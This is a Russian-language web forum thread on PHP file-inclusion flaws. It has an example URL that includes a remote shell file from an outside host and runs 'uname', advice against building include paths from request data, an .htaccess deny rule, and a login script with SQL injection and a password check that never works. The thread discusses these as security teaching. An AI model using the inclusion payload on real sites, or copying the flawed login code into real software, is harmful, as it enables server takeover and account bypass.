admLoki
генератор случайного PHP
- Регистрация
- 14 Сен 2006
- Сообщения
- 481
- Реакции
- 104
Потому что если файл тупо инклудится, то с удаленного сервера можно провести атаку и записать на хост шелл.Почему не рекомендуешь?
Follow along with the video below to see how to install our site as a web app on your home screen.
Примечание: This feature may not be available in some browsers.
Потому что если файл тупо инклудится, то с удаленного сервера можно провести атаку и записать на хост шелл.Почему не рекомендуешь?
тут не причемПотому что если файл тупо инклудится, то с удаленного сервера можно провести атаку и записать на хост шелл.
Нда ?тут не причем
http://www.somedomain.php/?inc=file.inc
http://www.somedomain.php/?inc=http://admloki.narod.ru/shell.inc?c=uname
Почему не рекомендуешь?
Чем это тяжелее? ))Согласен, идеально что бы было file.inc.php
но зачастую это тяжелее.
Ты сначала топик почитай, умник, у человека скрипт, в котором присутствует этот файл. Тяжелее тем что, возможно он используется не один и инклюдится, поэтому оптимальный выход это обрабатывать его интерпретатором.Чем это тяжелее? ))
Кроме того, уясни одну весч!!!
Файли никогда не должны инклюдится через $_GET или $_POST или как-то иначе.
Все файлы которые ты инклюдишь нада прописывать в коде жестко и однозначно, пользователь ни каким образом не должен как-то влият на имя подключаемого файла.
На самом деле, довольно часто встречается еще. Не полсонстью имя файла например, а без расширения или еще как-то, но суть в том, что можно манипулировать инклудом.инклюд файлов через $_GET это старое и пошлое занятие
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName DenyViaWeb
AuthType Basic
<Limit GET>
order allow,deny
deny from all
</Limit>
Вот есть код страницы входа в систему.
<?
// если psw не задана
if($psw=="")
{
// ... даем ей дефольное значение
$psw="5852346fhgjdkh858";
}
else{
// иначе - отправляем на setup
include "setup.php";
}
session_start();
// проверка того что отправилось с формы
if(isset($submit) )
{
// выбирается инфа по имени пользователя из базы
$result=mysql_query("select * from users where login='$log'");
$row=mysql_fetch_array($result);
// в pass запоминаем поле pasw из базы!
$pasw=$row["pass"];
}
if($pasw==$psw){
// если пароль из базы равен дефолтному значению - запоминаем имя пользователя
$HTTP_SESSION_VARS['l']=$log;
$HTTP_SESSION_VARS['p']=$psw;
// и отправляем на index.php
?>
<script>
location.href="index.php" ;
</script>
<?
}
else
print "<br><img src='img/error.gif' border='0'><br><b>Ошибка! Неверный логин или пароль !!!</b>";
// иначе говорим что все плохо.
Заметьте - пароль здесь вообще не проверяется.
if($pasw==$psw)